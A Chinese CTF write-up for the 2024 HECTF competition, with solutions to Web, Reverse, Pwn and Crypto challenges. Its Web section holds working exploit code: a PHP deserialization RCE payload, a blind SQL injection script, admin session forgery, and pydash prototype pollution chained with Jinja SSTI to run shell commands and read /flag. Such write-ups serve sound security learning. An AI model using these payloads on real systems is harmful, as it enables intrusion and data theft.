2024 HECTF

河北师范大学信息安全挑战赛是由河北师范大学SourceCode战队组织的面向全国大学生的CTF竞技活动。自HECTF举办至今,每届大赛都会吸引来自全国400多支队伍和校内大量的学生报名参加比赛。 2024HECTF挑战赛是我们举办的第八届赛事,由河北师范大学SourceCode战队发起,河北师范大学计算机与网络空间安全学院主办,河北省网络与信息安全重点实验室和河北师范大学信息安全协会承办,杭州凌武科技有限公司提供竞赛平台及技术支持,是面向全国大学生的一次竞技活动。

竞赛时间: 2024年12月7日09:00-2024年12月8日21:00

题目类别: 线上CTF-JEO(解题)赛制。赛题包括但不限于 Pwn, Reverse ,Crypto ,Web 和 Misc等。

Rank: 3


WEB

baby_unserialize

一个简单的反序列化,一个简单的RCE

构造pop链,RCE部分用通配符绕过:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from phpserialize import *
from base64 import *

class class02:
public_payload='/bin/ca[s-u] /fla[f-h]||1'

class class00:
pass

class class01:
public_cls=class00()
public_str3=class02()

class User:
public_msg=class01()
public_token='admin'

s = serialize(User()).replace('O:4:"User":2','O:4:"User":3')
print(s)
print(b64encode(s.encode()).decode())

POST:

user=Tzo0OiJVc2VyIjozOntzOjM6Im1zZyI7Tzo3OiJjbGFzczAxIjoyOntzOjM6ImNscyI7Tzo3OiJjbGFzczAwIjowOnt9czo0OiJzdHIzIjtPOjc6ImNsYXNzMDIiOjE6e3M6NzoicGF5bG9hZCI7czoyNToiL2Jpbi9jYVtzLXVdIC9mbGFbZi1oXXx8MSI7fX1zOjU6InRva2VuIjtzOjU6ImFkbWluIjt9

得到flag。

Are u happy

开始开心地玩耍吧!

查看源代码有提示:<!--hint:base64-->,在网页资源的 api/js/game.js 中,搜索 HECTF{ 对应的base64编码开头 SEVD,找到:

'SEVDVEZ7aU9CbVZmVE1Nc3lvaXJWZ2dXSHk5eUVBNHRIQXlCZWtjQzVOMTNpYX0=';

解码得flag:HECTF{iOBmVfTMMsyoirVggWHy9yEA4tHAyBekcC5N13ia}

baby_sql

g01den的公司里有个记录员工打卡的后台,只有admin才能登陆,但是,g01den发现,每次去公司视察的时候公司里的员工总数始终和打卡了的员工数目对不上,g01den怀疑公司里的某位员工利用了漏洞,于是他在后台程序里增加了一些WAF,并且他对他自己的WAF很自信,并暗示了那位员工他在数据库里放了一个重要的信息(flag),能拿到这个信息(flag)的人年终可以获得额外的奖金。作为那位员工的你应该如何拿到这个信息获得奖金呢?

flag由HECTF开头,得到的答案请将hectf修改为大写HECTF,flag中除了开头的HECTF外,无大写字母

测试注入点:`name=admin&pw=admin'||(1)||'0

布尔盲注,从数据库开始找起:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import requests

url = 'http://8.153.103.216:31934/'

result = ''
i = 0

while True:
i = i + 1
head = 32
tail = 127

while head < tail:
mid = (head + tail) >> 1
# payload = f'if(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{i},1))>{mid},1,0)'
# payload = f'if(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema="flag1shere")),{i},1))>{mid},1,0)'
# payload = f'if(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name="lookhere")),{i},1))>{mid},1,0)'
payload = f'if(ascii(substr((select(group_concat(flag))from(flag1shere.lookhere)),{i},1))>{mid},1,0)'
data = {
'name': 'admin',
'pw': f"admin'||({payload})||'0"
}
r = requests.post(url,data=data)
if 'fc2ce1340d3eaa16d68dbfb35d3aaac6' in r.text:
head = mid + 1
else:
tail = mid

if head != 32:
result += chr(head)
else:
break
print(result)

# databases: flag1shere
# tables: flag_is_in_flag1shere_loockhere_flag,lookhere
# column:
# 【表flag_is_in_flag1shere_loockhere_flag】hint
# 【表lookhere】flag
# 内容:
# 【表flag_is_in_flag1shere_loockhere_flag】flag
# 【表lookhere】HECTF{df1b330bbc2280e5021137e34461c224907f45c3}

ezweb

Try to be admin to get flag!!!

提示1 Hint:xxxxx为c、e、f、h、t 这五个没大没小的字母

查看源代码,有注释:

1
aWYoJF9HRVRbJ2EnXSAhPSAkX0dFVFsnYiddICYmIG1kNSgkX0dFVFsnYSddKSA9PSBtZDUoJF9HRVRbJ2InXSkpIHsKICAgIGlmICgkX0dFVFsnYyddICE9ICRfR0VUWydkJ10gJiYgbWQ1KCRfR0VUWydjJ10pID09PSBtZDUoJF9HRVRbJ2QnXSkpIHsKICAgICAgICBpZiAoaXNzZXQoJF9HRVRbJ2d1ZXNzJ10pICYmIG1kNSgkX0dFVFsnZ3Vlc3MnXSkgPT09ICdhYTQ3NmNmNzE0M2ZlNjljMjliMzZlNGQwYTc5MzYwNCcpIHsgLy94eHh4eDIwMjQKICAgICAgICAgICAgaGlnaGxpZ2h0X2ZpbGUoInNlY3JldC5waHAiKTsKICAgICAgICB9CiAgICB9Cn0=

base64解码得到部分源码:

1
2
3
4
5
6
7
if($_GET['a'] != $_GET['b'] && md5($_GET['a']) == md5($_GET['b'])) {
if ($_GET['c'] != $_GET['d'] && md5($_GET['c']) === md5($_GET['d'])) {
if (isset($_GET['guess']) && md5($_GET['guess']) === 'aa476cf7143fe69c29b36e4d0a793604') { //xxxxx2024
highlight_file("secret.php");
}
}
}

爆破md5:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
from hashlib import md5
import string
from pwnlib.util.iters import mbruteforce

table = 'HECTFhectf'
def PoW():
suffix = '2024'
cipher = 'aa476cf7143fe69c29b36e4d0a793604'
proof = mbruteforce(lambda x: md5((x + suffix).encode()).hexdigest() == cipher, table, length=5, method='fixed')
print(proof)

PoW()

# hECTf

GET传值:

?a[]=1&b[]=2&c[]=3&d[]=4&guess=hECTf2024

得到 secret.php 部分源码:

1
2
3
4
5
6
7
8
9
10
11
12
error_reporting(0);
//mt_srand(rand(1e5,1e7));
//$key = rand();
//file_put_contents(*,$key);
function session_decrypt($session,$key){
$data = base64_decode($session);
$method = 'AES-256-CBC';
$iv_size = openssl_cipher_iv_length($method);
$iv = substr($data,0,$iv_size);
$enc = substr($data,$iv_size);
return openssl_decrypt($enc, $method, $key, 1, $iv);
}

写代码爆破key值,顺便替换guest为admin:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php

$iv = '';

function session_encrypt($data, $key) {
$method = 'AES-256-CBC';
$iv_size = openssl_cipher_iv_length($method);
global $iv;
$encrypted = openssl_encrypt($data, $method, $key, OPENSSL_RAW_DATA, $iv);
return base64_encode($iv . $encrypted);
}

function session_decrypt($session, $key) {
$data = base64_decode($session);
$method = 'AES-256-CBC';
$iv_size = openssl_cipher_iv_length($method);
global $iv;
$iv = substr($data, 0, $iv_size);
$enc = substr($data, $iv_size);
return openssl_decrypt($enc, $method, $key, OPENSSL_RAW_DATA, $iv);
}

function is_valid_decryption($data) {
return strpos($data, "guest") !== false;
}

$session = "OTTg3UDhQn1AyNy60WpcZU/4iEdqTE/YtcSUUlQPPeqcQKVIhgZUO+wK7t9K64eFhcfieaPsjv9cBrq9LPMxnbvZ//egvZrQ72fXUKz/R0IEzgLXPFP/WDwyexB3KlIl";

$min_seed = 100000;
$max_seed = 10000000;

for ($seed = $min_seed; $seed < $max_seed; $seed++) {
mt_srand($seed);
$key = rand();

$decrypted = session_decrypt($session, $key);

if (is_valid_decryption($decrypted)) {
echo "Key found! Seed: $seed, Key: $key\n";
echo "Decrypted data: $decrypted\n";
// Decrypted data: O:4:"User":2:{s:8:"username";s:5:"guest";s:4:"role";s:5:"guest";}
$msg = 'O:4:"User":2:{s:8:"username";s:5:"admin";s:4:"role";s:5:"admin";}';
echo session_encrypt($msg, $key);
break;
}
}

// Key found! Seed: 9020413, Key: 2041025242
// Decrypted data: O:4:"User":2:{s:8:"username";s:5:"guest";s:4:"role";s:5:"guest";}
// OTTg3UDhQn1AyNy60WpcZU/4iEdqTE/YtcSUUlQPPeqcQKVIhgZUO+wK7t9K64eFzGqWoHSMfEjGvUzTGy6Kp46YHNCB/nFVAJWso8TWfcB92gsD4DWvVQvSpT5EBn/x

替换token,刷新页面,成功伪造为admin,查看源代码得到flag:

Here is your flag:<!--HECTF{871d3db4c182eb6d994078bd6c41643a8cd49ace}

你一个人专属的进货网站

w41tm00n第一次学习开发网站,老板让他三天之内搞定。第二天,w41tm00n终于写完了代码,并且进行了调试,网站在服务器上能够正常运行,但是w41tm00n没学过网安的知识,写的网站存在漏洞你作为w41tm00n的好朋友,同时你是位网安的实习生,w41tm00n就找到了你帮他测试网站是否存在漏洞。w41tm00n跟你说,他放了一个线索在服务器上,如果你成功入侵了这个服务器的话就可以得到这个礼物的线索(/flag文件)

app.py 中使用了pydash 5.1.2,且在路由 /setUserInfo 使用了 set_(user,key,value),检索知存在原型链污染漏洞,参考:Pydash 原型链污染

可在 /setUserInfo 路由内污染任意全局变量,首先修改secretkey:

1
2
POST /setUserInfo
key=__class__.__init__.__globals__.app.secret_key&value=123456&Button=%E6%8F%90%E4%BA%A4

app.secret_key 修改为 123456,即可伪造flask session:

flask-unsign --sign --cookie "{'username': 'aa', 'password': 'bb', 'verify': 'admin'}" --secret '123456' --no-literal-eval eyJwYXNzd29yZCI6ImJiIiwidXNlcm5hbWUiOiJhYSIsInZlcmlmeSI6ImFkbWluIn0.Z1VUWQ.Ae1Tf_dNm81tzQlmgzTrG3yKCjU

进到 /admin,发现用户名回显,可利用SSTI漏洞,但需绕过黑盒WAF。

结合 /setUserInfo 修改username,再访问 /admin,测试WAF的 blasklist 内容,发现同时过滤了两种花括号头,无法SSTI。

想到同样可利用原型链污染清空 WAF.py 里的 blacklist 值:

1
2
POST /setUserInfo
key=__class__.__init__.__globals__.WAF.blacklist&value=1&Button=%E6%8F%90%E4%BA%A4

最后正常SSTI:

1
2
POST /setUserInfo
key=username&value={{cycler.__init__.__globals__.os.popen('cat /flag').read()}}&Button=%E6%8F%90%E4%BA%A4

访问 /admin 得到flag。

REVERSE

babyre

g01den最近学会了一个简单的算法,于是他迫不及待的写下了这个程序。同时他在这个程序里面藏了一些秘密,你能发现他藏在程序里面的秘密吗?

IDA分析逻辑,在代码 sub_1920(v9, v7); 处,实现了变表base64加密,表为:

yzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/abcdefghijklmnopqrstuvwx

在代码 sub_17A7(v9); 处,先异或 i/3,再比较字符串。

提取出密文,逆:

1
2
3
4
5
6
c = b'QCTCUBZvOFHs\\F}kNPUhQU}>E]CgE>;=GIS TYC`@_I~E8u8G|%)Z}Yc_FW8_By('
# 还原
x = list(c)
y = bytes([x[i]^(i//3) for i in range(len(x))])

# QCTBTCXtMEKpXBynKUSnWRz9MUKnL717MBX+XUOmMRGpK7z7Wl58KlKqMUD+KVm=

再Cyberchef解变表base64,得flag:HECTF{8c7d051e5a0e9c567c86fed492720cc8d3389af1}

littleasm

百行代码里的藏匿的flag

给定汇编代码,利用GPT快速还原大概伪码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#include <stdio.h>
#include <string.h>

// 定义数据部分
char flag[28];
const char key[3] = {'r', 'e', 'v'};
unsigned char data[28] = {0x6a, 0x28, 0x3d, 0x4e, 0x2b, 0x05, 0x63, 0x1e, 0x0d, 0x73, 0x10, 0x1c, 0x73, 0x24, 0x21, 0x73, 0x5e, 0x21, 0x31, 0x5d, 0x21, 0x3f, 0x0c, 0x0d, 0x6d, 0x4c, 0x3};
const char *msg_wrong = "WRONG!!!\n";
const char *msg_right = "Right!!\n";

int main() {
// 读取用户输入的 flag
printf("Enter flag: ");
scanf("%27s", flag);

// 加密过程
for (int i = 0; i < 28; i += 3) {
// 第一组
int key_index = (i + 2) % 3;
data[i] = (flag[i] ^ key[key_index]) + 0x2C;

// 第二组
if (i + 1 < 28) {
key_index = (i + 1) % 3;
data[i + 1] = (flag[i + 1] ^ key[key_index]) + 0x08;
}

// 第三组
if (i + 2 < 28) {
key_index = i % 3;
data[i + 2] = (flag[i + 2] ^ key[key_index]) ^ 0x0C;
}
}

// 校验加密结果
int wrong = 0;
for (int i = 0; i < 28; i++) {
if (flag[i] != data[i]) {
wrong = 1;
break;
}
}

// 打印结果
if (wrong) {
printf("%s", msg_wrong);
} else {
printf("%s", msg_right);
}

return 0;
}

根据逻辑逆:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
c = [0x6a, 0x28, 0x3d, 0x4e, 0x2b, 0x05, 0x63, 0x1e, 0x0d, 0x73, 0x10, 0x1c, 0x73, 0x24, 0x21, 0x73, 0x5e, 0x21, 0x31, 0x5d, 0x21, 0x3f, 0x0c, 0x0d, 0x6d, 0x4c, 0x3]
print(len(c))
k = list(b'rev')

f = [-1]*len(c)

for i in range(0,len(c),3):
if i+2<28:
f[i+2] = (c[i+2]^0xc)^k[i%3]
if i+1<28:
f[i+1] = (c[i+1]-0x8)^k[(i+1)%3]
f[i] = (c[i]-0x2c)^k[(i+2)%3]

f = [k&0xff for k in f]
print(bytes(f))

# b'HECTF{Ass1mb1y_13_s0_eas7!}'

PE?py?

在pyre里找到压缩包密码

16进制查看 pyre.exe,修复:1. 开头 MMMZ,2. DosHeader里的 LONG AddressOfNewExeHeader 改为 0x108h。

pyinstxtractor解包,反编译 pyre.pyc

1
2
3
4
print('PE?py?\n')
data = 'the_key_is_:'
key = 'Have_a_cup_of_tea_together'
print('Can you uncover the secrets of this file?')

Have_a_cup_of_tea_together 为密码解压 do_you_like_tea.zip,得到 main1.exe

IDA分析,是一个标准xtea,逆:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from Crypto.Util.number import *

def decrypt(v, k):
v0 = v[0]
v1 = v[1]
delta = 0x9E3779B9
x = delta * 32
for i in range(32):
v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (x + k[(x >> 11) & 3])
v1 = v1 & 0xFFFFFFFF
x -= delta
x = x & 0xFFFFFFFF
v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (x + k[x & 3])
v0 = v0 & 0xFFFFFFFF
v[0] = v0
v[1] = v1
return v

key = [0x54434548, 0x32303246, 0x69617734, 0x756F7974]

encrypted = [0x0DF596194, 0x2CFE74D6, 0x1355AE4D, 0x0B6717A87, 0x0F27BB57B, 0x8D436C5, 0x0C5C8E1AF, 0x0A85BD8F, 0x19A70032, 0x400CFEF4, 0x0AF02E1FC, 0x0CDEDCFB4]

decrypted = []
final = b''
for i in range(len(encrypted)//2):
now = decrypt(encrypted[2*i:2*(i+1)], key)
decrypted += now
final += long_to_bytes(now[0])[::-1] + long_to_bytes(now[1])[::-1]

print(final)

# b'HECTF{58de01fc-af6b-8cf6-e8ca-db5964ce0b1e}\x00'

easyree

flag格式HECTF{xxxx}

16进制查看,改 CTFUPX,脱壳。

IDA分析,在 main() 函数中,先经过 encrypt() 函数变种凯撒移位,再简单异或操作。

逆:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
c = [35, 33, 32, 40, 37, 126, 40, 70, 82, 4, 75, 82, 76, 3, 82, 4, 72, 79, 123, 79, 125, 66, 68, 4, 79, 73, 112]

for k in range(128):
m = []
for i in range(len(c)):
m.append((c[i]^k)+21)
mb = bytes(m)
if b'{' in mb and b'}' in mb and mb.isascii():
print(k, mb)
tot = 8
for j in range(len(m)):
if m[j] > 96 and m[j] <= 122:
m[j] = (m[j] - 97 - tot) % 26 + 97
tot += 1
elif m[j] > 65 and m[j] <= 90:
m[j] = (m[j] - 65 - tot) % 26 + 65
tot += 1
print(bytes(m))
break

# 24 b'PNMER{Es_1h_i0_1elxlzoq1lf}'
# b'HECTF{Re_1s_s0_1nterest1ng}'

PWN

sign in

快来签到吧……

close(1) 关闭了输出,重定向即可。

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

r = remote('8.153.103.216',32544)

r.recvline()
r.sendline(b'x')
r.recvline()
r.send(b'HECTF2024!')
r.recvline()
r.sendline(b'exec 1>&0')

r.interactive()

CRYPTO

迷茫的艾米莉

在维吉尼亚小镇,园丁艾米莉的responsibility是照顾一座古老花园,每天修剪六段绿篱栅栏。一天,她 发现通往秘密花园的小径,入口却被封上了,上面有一串密文Y2w9Iobe_v_Ufbm0ajI05bfzvTP1b_c}{lr,请输入密码帮助艾米莉探索秘密花园

栅栏6+vigenere密码(key=responsibility)。

flag:HECTF{C0ng2at51ations_0n_comin9_in}

seven more

more than more no co-prime

给了 $p,q$,且 $\gcd(e,p)=e,\gcd(e,q)=e’,e’ \mid e$。

分别在 $\mod p$ 和 $\bmod q$ 上使用AMM算法求根,最后CRT找flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
import random
import time
from Crypto.Util.number import *
from tqdm import *

# About 3 seconds to run
def AMM(o, r, q):
start = time.time()
print('\n----------------------------------------------------------------------------------')
print('Start to run Adleman-Manders-Miller Root Extraction Method')
print('Try to find one {:#x}th root of {} modulo {}'.format(r, o, q))
g = GF(q)
o = g(o)
p = g(random.randint(1, q))
while p ^ ((q-1) // r) == 1:
p = g(random.randint(1, q))
print('[+] Find p:{}'.format(p))
t = 0
s = q - 1
while s % r == 0:
t += 1
s = s // r
print('[+] Find s:{}, t:{}'.format(s, t))
k = 1
while (k * s + 1) % r != 0:
k += 1
alp = (k * s + 1) // r
print('[+] Find alp:{}'.format(alp))
a = p ^ (r**(t-1) * s)
b = o ^ (r*alp - 1)
c = p ^ s
h = 1
for i in range(1, t):
d = b ^ (r^(t-1-i))
if d == 1:
j = 0
else:
print('[+] Calculating DLP...')
j = - discrete_log(a, d)
print('[+] Finish DLP...')
b = b * (c^r)^j
h = h * c^j
c = c ^ r
result = o^alp * h
end = time.time()
print("Finished in {} seconds.".format(end - start))
print('Find one solution: {}'.format(result))
return result

def findAllPRoot(p, e):
print("Start to find all the Primitive {:#x}th root of 1 modulo {}.".format(e, p))
start = time.time()
proot = set()
while len(proot) < e:
proot.add(pow(random.randint(2, p-1), (p-1)//e, p))
end = time.time()
print("Finished in {} seconds.".format(end - start))
return proot

def findAllSolutions(mp, proot, cp, p, e):
print("Start to find all the {:#x}th root of {} modulo {}.".format(e, cp, p))
start = time.time()
all_mp = set()
for root in proot:
mp2 = mp * root % p
assert(pow(mp2, e, p) == cp)
all_mp.add(mp2)
end = time.time()
print("Finished in {} seconds.".format(end - start))
return all_mp

n = 211174039496861685759253930135194075344490160159278597570478160714793843648384778026214533259531963057737358092962077790023796805017455012885781079402008604439036453706912819711606916173828620000813663524065796636039272173716362247511054616756763830945978879273812551204996912252317081836281439680223663883250992957309172746671265758427396929152878633033380299036765665530677963287445843653357154379447802151146728382517702550201
c = 191928992610587693825282781627928404831411364407297375816921425636703444790996279718679090695773598752804431891678976685083991392082287393228730341768083530729456781668626228660243400914135691435374881498580469432290771039798758412160073826112909167507868640830965603769520664582121780979767127925146139051005022993085473836213944491149411881673257628267851773377966008999511673741955131386600993547529438576918914852633139878066
p = 31160882390461311665815471693453819123352546432384109928704874241292707178454748381602275005604671000436222741183159072136366212086549437801626015758789167455043851748560416003501637268653712148286072544482747238223
q = 6776895366785389188349778634427547683984792095011326393872759455291221057085426285502176493658280343252730331506803173791893339840460125807960788857396637337440004750209164671124188980183308151635629356496128717687
e = 1009 * 7

# gcd(e,p-1)=7063
# gcd(e,q-1)=1009

# p
cp = c % p
mp = AMM(cp, e, p)
p_proot = findAllPRoot(p, e)
mps = findAllSolutions(mp, p_proot, cp, p, e)
print(len(mps))

# q
e2 = 1009
d2 = inverse(e//1009, q-1)
cq = pow(c, d2, q)
mq = AMM(cq, e2, q)
q_proot = findAllPRoot(q, e2)
mqs = findAllSolutions(mq, q_proot, cq, q, e2)
print(len(mqs))

start = time.time()
print('Start CRT...')
for mpp in tqdm(mps):
for mqq in mqs:
m = CRT_list([int(mpp), int(mqq)], [p, q])
res = long_to_bytes(int(m))
if b'HECTF' in res:
print(res)
#print(time.time() - start)

end = time.time()
print("Finished in {} seconds.".format(end - start))

# 79%|███████████████████████████████████████████████████████████████▉ | 5573/7063 [04:08<01:05, 22.78it/s]b'HECTF{go0d_jOb_At_AmM}D~u3<1\xdd\x9f\x81b:,\xbe\xf2\x1c\xf1\xd5\xeeN\xb7w\xce\xae?\xf3~\x99\xbd\xce\xf1\xf1\x10"\xc6:\x85\x08\xf0\xef4h\x8c%d\x9f\xf1\xaf\xfdS\xd1\xcc\x99\x1c\xc3\xe5\x06Z\xdags\xb5R>\xc9\xd4\xb7\x99\xde\x9f\xb0\xccP\xf2\xba\x82A\xfd\xbb\xda\x0e\xf9\xa5\xaa\xfcm\x92\xba\xa8\xff\xf8*\x8a\x95p\xb6\xbe\xc5\xbf\xbe\xe8c'

翻一翻

小明最近失恋了,翻来覆去睡不着,请帮他找出失恋的关键信息

emirp() 函数表示反素数,$q$ 为 $p$ 的十进制反素数。

参考ASIS 2015 Finals - RSASR,按位爆破,结合条件剪枝。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from Crypto.Util.number import *

n = 404647938065363927581436797059920217726808592032894907516792959730610309231807721432452916075249512425255272010683662156287639951458857927130814934886426437345595825614662468173297926187946521587383884561536234303887166938763945988155320294755695229129209227291017751192918550531251138235455644646249817136993
c = 365683379886722889532600303686680978443674067781851827634350197114193449886360409198931986483197030101273917834823409997256928872225094802167525677723275059148476025160768252077264285289388640035034637732158021710365512158554924957332812612377993122491979204310133332259340515767896224408367368108253503373778
e = 65537

def t(a, b, k):
# sqrt(n) has 155 digits, so we need to figure out 77 digits on each side
if k == 77:
if a*b == n:
print((a,b))
return
for i in range(10):
for j in range(10):
# we try to guess the last not-already-guessed digits of both primes
a1 = a + i*(10**k) + j*(10**(154-k))
b1 = b + j*(10**k) + i*(10**(154-k))
if a1*b1 > n:
# a1 and b1 are too large
continue
if (a1+(10**(154-k)))*(b1+(10**(154-k))) < n:
# a1 and b1 are too small
continue
if ((a1*b1)%(10**(k+1))) != (n%(10**(k+1))):
# The last digits of a1*b1 (which won't change later) doesn't match n
continue
# this a1 and b1 seem to be a possible match, try to guess remaining digits
t(a1, b1, k+1)

# the primes have odd number of digits (155), so we try all possible middle digits (it simplifies the code)
#for i in range(10):
# t(i*(10**77), i*(10**77), 0)

# (39316409865082827891559777929907275271727781922450971403181273772573121561800306699150395758615464222134092274991810028405823897933152302724628919678029201, 10292087691982642720325133979832850482001819947229043122246451685759305199660300816512137527737218130417905422918772717257270992977795519872828056890461393)

p,q = (39316409865082827891559777929907275271727781922450971403181273772573121561800306699150395758615464222134092274991810028405823897933152302724628919678029201, 10292087691982642720325133979832850482001819947229043122246451685759305199660300816512137527737218130417905422918772717257270992977795519872828056890461393)
f = (p-1)*(q-1)
d = inverse(e,f)
m = pow(c,d,n)
print(long_to_bytes(m))

# b'SEVDVEZ7SV9yZWExbHlfbDB2ZV9jMnlwdG8hfQ=='
# HECTF{I_rea1ly_l0ve_c2ypto!}

不合格的魔药

刚开始学习魔药的小A总是只关注魔药的颜色而忽略配比,这次他配置的魔药又是这样,这样一份不合格的魔药完全没办法达到对信息“保密”的效果了,请从这份面目全非的成品中还原出小A想隐藏的信息

[hint1] key<60000

第一步,由 $\text{order}=p+1$ 尝试MOV attack无果,后根据hint1,爆破 $k$ 值。

第二步,密文满足:

$(2G)_x \oplus c_0 = C_0,(2G)_y \oplus c_1 = C_1$

$(4G)_x \oplus c_2 = C_2,(4G)_y \oplus c_3 = C_3$

由于 $c_i$ 只有16*8=128位,异或过程中只会改变 $(kG)_x$ 或 $(kG)_y$ 的低128位值,即高位已知,结合ECC方程利用coppersmith求解 $2G$ 和 $4G$,再异或还原回 $c_i$。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
from Crypto.Util.number import *
from tqdm import *
from hashlib import *
from Crypto.Cipher import AES
import itertools

# from https://github.com/defund/coppersmith/blob/master/coppersmith.sage
def small_roots(f, bounds, m=1, d=None):
if not d:
d = f.degree()

R = f.base_ring()
N = R.cardinality()

f /= f.coefficients().pop(0)
f = f.change_ring(ZZ)

G = Sequence([], f.parent())
for i in range(m+1):
base = N^(m-i) * f^i
for shifts in itertools.product(range(d), repeat=f.nvariables()):
g = base * prod(map(power, f.variables(), shifts))
G.append(g)

B, monomials = G.coefficient_matrix()
monomials = vector(monomials)

factors = [monomial(*bounds) for monomial in monomials]
for i, factor in enumerate(factors):
B.rescale_col(i, factor)

B = B.dense_matrix().LLL()

B = B.change_ring(QQ)
for i, factor in enumerate(factors):
B.rescale_col(i, 1/factor)

H = Sequence([], f.parent().change_ring(QQ))
for h in filter(None, B*monomials):
H.append(h)
I = H.ideal()
if I.dimension() == -1:
H.pop()
elif I.dimension() == 0:
roots = []
for root in I.variety(ring=ZZ):
root = tuple(R(root[var]) for var in f.variables())
roots.append(root)
return roots

return []

p = 9604080254440553624043823039323876524034439909584709693304859297324410855942111467832096190746534800378359779991381701244554754870303658957438266614583487
q = 7117529167860499983120234872664469946810713755399747931099511148595647881645694071900284496403308583631053530870961375928947111857317803005696543076720079
a = 4681007517868949260473646867708411042804596292653498068045093108939357065240201843535644313612886376810286247810943227474659270191834401055704514648846995
b = 5604862515726338933576748414825616582947323501967288114322080747741801017833194347273532400730033226601964489467416955741018175785792514035352083708135431
x1 = 5544706922427110224110125906620053049906095568886481576326706308027915868515721429471522223193053363494813044921519216114372968191072598748704528735817403
Ep_point = (0x2fa8e23f18ed4a9bd752a0c22b0750c17fbb66c76554e2089258fd979a5736b7766c974fb9788acf17fb065dc1daec6a8a6e98021de6c4ce3cde11dd54590e1d, 0xa3ce4bb1e25563b577a45cd06153d2dab584a70130c7ae71e65fe5e11b60493ccb845fbe4989dbd4a60d6a1ff12baa268b8833ed30f7c7e21c32268a139b5b6b)
c = [36780810764729391947601691590378765170863850291763672158886689602006275675399596108959250284869355070618680265311484525337488013177333417742808496794250706127014303883956401715343247310936978778751394980638177344654524711571648231122027699452582302505466999915200896495338587961829985149664712686944510559820, 20958199004445348755624931477686903609410629089817702686793041731031202915294487428236505796231417377524290926704880107242252471250791747709149963693453815320856114055076830778689575609444155241642860745570792018879816650383543271943138193405548674967958109800776284787612370057476837642989670234913968669332, 19758181515666300263334531148587391869707566215385658759724970483060039216682585723722462835458856503531814316860237786892749700501436669071048571605926728917066797641628644730857333648930286503355701843365288276242984029888215453858844295912023305616753086127934173496355853797241944921600781294012353332277, 45576628433681427718167093217006549620067042472164439269014690121698560736312716407875326404496263261341269644373184438703912129559084380247641072914940830606649124606611794031719696797961847217643536070335745057048220615012019629278484208808353027070994021979997462190775853832457224157083880895894000484461]

n = p*q
Ep = EllipticCurve(GF(p), [a, 0])
y1 = Ep.lift_x(x1).xy()[1]
G = Ep(x1,y1)
P = Ep(Ep_point)

'''
G2 = G
for k in trange(1,60000):
if G2 == P:
print(k)
break
G2 += G
'''
# 51517

key = 51517
assert P == key*G

k = md5(long_to_bytes(key)).hexdigest().encode()
aes = AES.new(k, AES.MODE_ECB)
En = EllipticCurve(Zmod(n), [a, b])

# (2G).x ^ x0 = c0
# (2G).y ^ x1 = c1
# (4G).x ^ x2 = c2
# (4G).x ^ x3 = c3
P.<x,y>=PolynomialRing(Zmod(n))

x0 = (c[0] >> 128) << 128
y0 = (c[1] >> 128) << 128
f = (x0+x)^3 + a*(x0+x) + b - (y0+y)^2
r = small_roots(f, [2^128,2^128], m=4, d=3)
x_2G = x0 + r[0][0]
y_2G = y0 + r[0][1]
P_2G = En(x_2G, y_2G)
print(P_2G)

x0 = (c[2] >> 128) << 128
y0 = (c[3] >> 128) << 128
f = (x0+x)^3 + a*(x0+x) + b - (y0+y)^2
r = small_roots(f, [2^128,2^128], m=4, d=3)
x_4G = x0 + r[0][0]
y_4G = y0 + r[0][1]
P_4G = En(x_4G, y_4G)
print(P_4G)

cc0 = int(P_2G.xy()[0]) ^^ c[0]
cc1 = int(P_2G.xy()[1]) ^^ c[1]
cc2 = int(P_4G.xy()[0]) ^^ c[2]
cc3 = int(P_4G.xy()[1]) ^^ c[3]

m = b''
for c_ in [cc0,cc1,cc2,cc3]:
m += aes.decrypt(long_to_bytes(c_))

print(m)

# b'30C270291b3da6c12ai341s5aNqaTtb2cd1ae2gA4e41319DEA876D6B896E0599'

flag:HECTF{30C270291b3da6c12ai341s5aNqaTtb2cd1ae2gA4e41319DEA876D6B896E0599}

情书与破碎的证书

